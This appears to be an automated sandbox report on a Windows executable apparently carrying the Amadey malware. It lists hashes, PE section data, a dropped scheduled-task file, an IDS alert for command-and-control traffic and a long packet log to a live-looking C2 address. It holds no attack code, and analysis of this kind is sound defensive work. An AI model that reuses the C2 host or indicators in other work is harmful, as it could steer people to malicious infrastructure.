                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                      Malicious:true
                      Reputation:high, very likely benign file
                      Preview:[ZoneTransfer]....ZoneId=0

                      C:\Windows\Tasks\axplong.job

                      Download File
                      Process:C:\Users\user\Desktop\file.exe
                      File Type:data
                      Category:dropped
                      Size (bytes):292
                      Entropy (8bit):3.4330849114389435
                      Encrypted:false
                      SSDEEP:6:Ar6tXAL1UEZ+lX1lOJUPelkDdtkHs+Zgty0lbVt0:tABQ1lOmeeDOZgtVxt0
                      MD5:26A78AE0BF4544A69AA1DB55371C2694
                      SHA1:C0B64EBD1A3B8B6B5878E29D531A58C228C1ABE7
                      SHA-256:7DAD6ED7FBF5BDABD3E4EA2B871280CFB0EE50F73948BAF25002239E2CEDC375
                      SHA-512:F97F294C1CBB11EC5742CFC23289D4808CAAC6E143D8A9ECE3221D7A923F770976413ACF2FA2EE54E90AC248CAAD373AE8ACCA626DAA7FC86483BBA143554702
                      Malicious:false
                      Reputation:low
                      Preview:.... .)o.i.L.3..D.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

                      Static File Info

                      General

                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                      Entropy (8bit):7.948527260003782
                      TrID:
                      • Win32 Executable (generic) a (10002005/4) 99.96%
                      • Generic Win/DOS Executable (2004/3) 0.02%
                      • DOS Executable Generic (2002/1) 0.02%
                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                      File name:file.exe
                      File size:1'929'216 bytes
                      MD5:17dcd72d51948d374c79be3a52bb647a
                      SHA1:0c97827e45ea2420546fb335350648f5ea7f6b63
                      SHA256:6a0776df2d53513aa8aa6152f52903ac8631f2438b3dffccb5ee0c9c8682a48e
                      SHA512:0abaa9010ff909f7bd30200ba884161f56cc3a18b44cf8355bb5ba513b746ec0a87dae7cb02e374814d419f53233aadae894a3bdb9d641f43ce89914b5438f65
                      SSDEEP:24576:sBXMvpr340IwfskIs1FtX9dfjiNrxKc9I82ev86U9knHyslZvZKm4JiL3QBf1Ci2:R6wfskJXdrimc9/rEgXnO8
                      TLSH:D995337A0BAA2A16E4071F794D232B3E3A1BE554085F6EC13FEC16BF5D73A663900905
                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

                      File Icon

                      Icon Hash:00928e8e8686b000

                      Static PE Info

                      General

                      Entrypoint:0x8c2000
                      Entrypoint Section:.taggant
                      Digitally signed:false
                      Imagebase:0x400000
                      Subsystem:windows gui
                      Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                      DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                      Time Stamp:0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
                      TLS Callbacks:
                      CLR (.Net) Version:
                      OS Version Major:6
                      OS Version Minor:0
                      File Version Major:6
                      File Version Minor:0
                      Subsystem Version Major:6
                      Subsystem Version Minor:0
                      Import Hash:2eabe9054cad5152567f0699947a2c5b

                      Entrypoint Preview

                      Instruction
                      jmp 00007F5A152E5E6Ah
                      cmovle ebx, dword ptr [00000000h]
                      add cl, ch
                      add byte ptr [eax], ah
                      add byte ptr [eax], al
                      add byte ptr [edx], al
                      or al, byte ptr [eax]
                      add byte ptr [eax], al
                      add byte ptr [eax], al
                      add byte ptr [eax], dh
                      add byte ptr [eax], al
                      add byte ptr [eax], al
                      add byte ptr [eax], al
                      add bh, bh

                      Data Directories

                      NameVirtual AddressVirtual Size Is in Section
                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                      IMAGE_DIRECTORY_ENTRY_IMPORT0x6a0570x6b.idata
                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x690000x1e0.rsrc
                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x4c00880x10mrrxutca
                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                      IMAGE_DIRECTORY_ENTRY_TLS0x4c00380x18mrrxutca
                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                      IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                      Sections

                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                      0x10000x680000x2de00ed7289e809c111fbbe014486db28e97cFalse0.9973284230245232data7.983894166340195IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                      .rsrc0x690000x1e00x200ef382bab74351570966c8da914054eceFalse0.578125data4.4738715334426225IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                      .idata 0x6a0000x10000x200cc76e3822efdc911f469a3e3cc9ce9feFalse0.1484375data1.0428145631430756IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                      0x6b0000x2b00000x2006cfee164066ca635194da20dc4e0bbfbunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                      mrrxutca0x31b0000x1a60000x1a54000cf5296dfb6aec9123f5480bd7c96406False0.9943481083086053OpenPGP Public Key7.952707462434755IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                      gmpmgtcb0x4c10000x10000x6004e0d628877364b8938625c0e75fa7332False0.587890625data5.149175714628264IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                      .taggant0x4c20000x30000x2200f33e5e100be18ce6c6c1a3c7f55b0e64False0.07582720588235294DOS executable (COM)0.954469128055802IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                      Resources

                      NameRVASizeTypeLanguageCountryZLIB Complexity
                      RT_MANIFEST0x4c00980x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                      Imports

                      DLLImport
                      kernel32.dlllstrcpy

                      Possible Origin

                      Language of compilation systemCountry where language is spokenMap
                      EnglishUnited States

                      Network Behavior

                      Suricata IDS Alerts

                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                      2024-09-27T07:02:52.454598+02002856147ETPRO MALWARE Amadey CnC Activity M31192.168.2.849756185.215.113.1680TCP

                      Network Port Distribution

                      TCP Packets

                      TimestampSource PortDest PortSource IPDest IP
                      Sep 27, 2024 07:02:04.647201061 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:04.652025938 CEST8049711185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:04.652093887 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:04.652661085 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:04.657399893 CEST8049711185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:05.371542931 CEST8049711185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:05.374419928 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.431461096 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.436281919 CEST8049711185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:05.663382053 CEST8049711185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:05.663480043 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.858952999 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.859642982 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.864180088 CEST8049711185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:05.864629984 CEST8049712185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:05.864694118 CEST4971180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.864726067 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.903161049 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:05.909313917 CEST8049712185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:06.568217039 CEST8049712185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:06.568294048 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.569134951 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.574170113 CEST8049712185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:06.797986984 CEST8049712185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:06.798077106 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.912457943 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.912790060 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.917676926 CEST8049713185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:06.917718887 CEST8049712185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:06.917749882 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.917783976 CEST4971280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.918184996 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:06.922970057 CEST8049713185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:07.612451077 CEST8049713185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:07.612523079 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.613982916 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.618736029 CEST8049713185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:07.836779118 CEST8049713185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:07.836889029 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.943743944 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.944190979 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.948909998 CEST8049713185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:07.948976994 CEST8049714185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:07.949011087 CEST4971380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.949069023 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.949237108 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:07.953990936 CEST8049714185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:08.647757053 CEST8049714185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:08.647948980 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.649630070 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.654359102 CEST8049714185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:08.873267889 CEST8049714185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:08.873480082 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.975327969 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.976113081 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.980321884 CEST8049714185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:08.980405092 CEST4971480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.980901003 CEST8049715185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:08.981012106 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.981189966 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:08.985913992 CEST8049715185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:09.708692074 CEST8049715185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:09.708813906 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:09.709614038 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:09.714503050 CEST8049715185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:09.943667889 CEST8049715185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:09.943748951 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.056835890 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.057558060 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.061851978 CEST8049715185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:10.061923027 CEST4971580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.062494040 CEST8049716185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:10.062573910 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.064166069 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.068928957 CEST8049716185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:10.771675110 CEST8049716185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:10.771756887 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.772545099 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:10.777369976 CEST8049716185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:11.004168034 CEST8049716185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:11.004323006 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.115842104 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.116430044 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.120959044 CEST8049716185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:11.121105909 CEST4971680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.121193886 CEST8049717185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:11.121360064 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.121480942 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.126224995 CEST8049717185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:11.815941095 CEST8049717185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:11.816016912 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.816812992 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:11.821594000 CEST8049717185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:12.040062904 CEST8049717185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:12.040174961 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.147083044 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.147793055 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.154828072 CEST8049717185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:12.154922009 CEST4971780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.155798912 CEST8049718185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:12.155889034 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.156254053 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.161088943 CEST8049718185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:12.865134001 CEST8049718185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:12.865225077 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.866034985 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:12.870866060 CEST8049718185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:13.095765114 CEST8049718185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:13.095824957 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.211308002 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.211642027 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.216360092 CEST8049718185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:13.216449022 CEST4971880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.216475010 CEST8049719185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:13.216547012 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.216696024 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.221451044 CEST8049719185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:13.915076971 CEST8049719185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:13.915189981 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.915976048 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:13.920681000 CEST8049719185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:14.141984940 CEST8049719185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:14.142334938 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:14.256347895 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:14.256753922 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:14.261631966 CEST8049720185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:14.261699915 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:14.261881113 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:14.261898041 CEST8049719185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:14.262001991 CEST4971980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:14.266654015 CEST8049720185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:15.005763054 CEST8049720185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:15.005942106 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.007226944 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.012063026 CEST8049720185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:15.240976095 CEST8049720185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:15.241075039 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.349966049 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.350303888 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.354964972 CEST8049720185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:15.355053902 CEST4972080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.355129004 CEST8049721185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:15.355200052 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.355390072 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:15.360131025 CEST8049721185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:16.061007023 CEST8049721185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:16.061089993 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.061783075 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.066622019 CEST8049721185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:16.292433977 CEST8049721185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:16.292570114 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.397804022 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.398226976 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.403076887 CEST8049721185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:16.403152943 CEST4972180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.403695107 CEST8049722185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:16.403775930 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.403985977 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:16.408760071 CEST8049722185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:17.097100019 CEST8049722185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:17.097274065 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.098262072 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.103082895 CEST8049722185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:17.322303057 CEST8049722185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:17.322391987 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.428248882 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.428666115 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.433304071 CEST8049722185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:17.433410883 CEST4972280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.433630943 CEST8049724185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:17.433804989 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.433954954 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:17.438788891 CEST8049724185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:18.136229992 CEST8049724185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:18.136406898 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.137312889 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.150564909 CEST8049724185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:18.360410929 CEST8049724185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:18.360553980 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.475557089 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.475640059 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.480397940 CEST8049725185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:18.480494976 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.480509043 CEST8049724185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:18.480576992 CEST4972480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.480709076 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:18.485443115 CEST8049725185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:19.215290070 CEST8049725185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:19.216089964 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.217108965 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.221893072 CEST8049725185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:19.451111078 CEST8049725185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:19.452127934 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.553133011 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.553421021 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.558259010 CEST8049726185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:19.558274031 CEST8049725185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:19.558363914 CEST4972580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.558363914 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.558619022 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:19.563431025 CEST8049726185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:20.277343035 CEST8049726185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:20.277414083 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.278129101 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.282978058 CEST8049726185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:20.508101940 CEST8049726185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:20.508188963 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.615797043 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.616194963 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.620834112 CEST8049726185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:20.620969057 CEST4972680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.621117115 CEST8049727185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:20.621248007 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.621521950 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:20.626296997 CEST8049727185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:21.338819027 CEST8049727185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:21.338937044 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.339728117 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.344512939 CEST8049727185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:21.569061041 CEST8049727185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:21.569200039 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.680131912 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.680413961 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.685199022 CEST8049728185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:21.685246944 CEST8049727185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:21.685324907 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.685369968 CEST4972780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.685508966 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:21.690252066 CEST8049728185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:22.383748055 CEST8049728185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:22.383894920 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.385257959 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.390026093 CEST8049728185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:22.611278057 CEST8049728185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:22.611344099 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.725208044 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.725534916 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.730667114 CEST8049728185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:22.730773926 CEST4972880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.730906963 CEST8049729185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:22.731000900 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.731244087 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:22.736112118 CEST8049729185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:23.429603100 CEST8049729185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:23.429714918 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.430541039 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.435332060 CEST8049729185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:23.848789930 CEST8049729185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:23.848872900 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.959508896 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.959852934 CEST4973080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.964595079 CEST8049729185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:23.964623928 CEST8049730185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:23.964715958 CEST4972980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.964772940 CEST4973080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:23.965017080 CEST4973080192.168.2.8185.215.113.16
